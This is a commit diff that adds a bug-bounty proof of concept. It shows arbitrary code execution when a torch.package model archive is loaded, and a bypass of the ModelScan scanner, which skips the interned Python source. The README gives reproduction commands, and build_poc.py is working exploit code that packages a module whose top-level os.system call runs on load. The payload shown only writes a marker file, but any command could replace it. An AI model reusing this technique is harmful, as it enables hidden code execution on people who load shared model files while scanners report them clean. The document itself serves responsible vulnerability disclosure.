Add security-research PoC (benign marker payload)

README.md

@@ -0,0 +1,27 @@
+# PoC: ACE in torch.package PackageImporter via interned source (ModelScan bypass)
+
+Security research PoC for the huntr.com **Model File Format** bounty program.
+**Benign marker payload only** (writes `/tmp/POC2_PWNED_torch_package`). No destructive or network behavior.
+
+## Summary
+`malicious.pt` is a `torch.package` archive. `torch.package` serializes Python **module source** into the
+`.pt`. When loaded with the normal public API `PackageImporter(file).load_pickle(pkg, resource)`, the importer
+calls `compile()` + `exec()` on the interned source, so a top-level statement in the packaged `.py` runs at
+load time. Protect AI **ModelScan** (v0.8.6) only disassembles pickle bytecode and **explicitly skips the
+`.py` source files**, so it reports **"No issues found!"** on this live-RCE file.
+
+## Reproduce
+```bash
+pip install torch==2.8.0 modelscan==0.8.6
+# 1) it executes on load:
+python -c "from torch.package import PackageImporter; PackageImporter('malicious.pt').load_pickle('data','model.pkl'); print(open('/tmp/POC2_PWNED_torch_package').read())"
+# -> prints PWNED_torch_package...
+# 2) but the scanner says clean:
+modelscan -p malicious.pt          # -> "No issues found!"
+modelscan -p malicious.pt --show-skipped   # -> the payload .py is "skipped"
+```
+
+## Control
+The identical `os.system` payload placed in the **pickle** (via `__reduce__`) inside a torch.package archive
+IS flagged CRITICAL by ModelScan — proving the bypass is the interned-source exec path, not the payload.
+See `build_poc.py`.

build_poc.py

@@ -0,0 +1,39 @@
+import os, sys
+from torch.package import PackageExporter
+
+OUT = "/tmp/malicious_tp.pt"
+SRCDIR = "/tmp/evil_src"
+os.makedirs(SRCDIR, exist_ok=True)
+
+# An interned module whose TOP-LEVEL statement runs a benign marker payload.
+# This is NOT in pickle opcodes - it lives in a .py source file inside the zip.
+evil_src = '''
+import os
+# benign marker payload - fires at module import (exec of compiled source)
+os.system('echo PWNED_torch_package_liamramsey > /tmp/POC2_PWNED_torch_package')
+
+class EvilModel:
+    def __init__(self):
+        self.x = 1
+'''
+
+modpath = os.path.join(SRCDIR, "evil_model.py")
+with open(modpath, "w") as f:
+    f.write(evil_src)
+
+sys.path.insert(0, SRCDIR)
+import evil_model  # triggers payload at BUILD time too; we'll clean marker after
+
+# Make the object to pickle
+obj = evil_model.EvilModel()
+
+with PackageExporter(OUT) as pe:
+    pe.intern("evil_model")
+    pe.save_pickle("data", "model.pkl", obj)
+
+print("BUILT", OUT, os.path.getsize(OUT), "bytes")
+
+# Remove the marker created during build-time import so load attribution is clean
+if os.path.exists("/tmp/POC2_PWNED_torch_package"):
+    os.remove("/tmp/POC2_PWNED_torch_package")
+    print("cleaned build-time marker")

malicious.pt

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:49531fff57a4c2466ac05c7892fa4d9060f4433eb7eed36cb3ceca281801cbea
+size 1702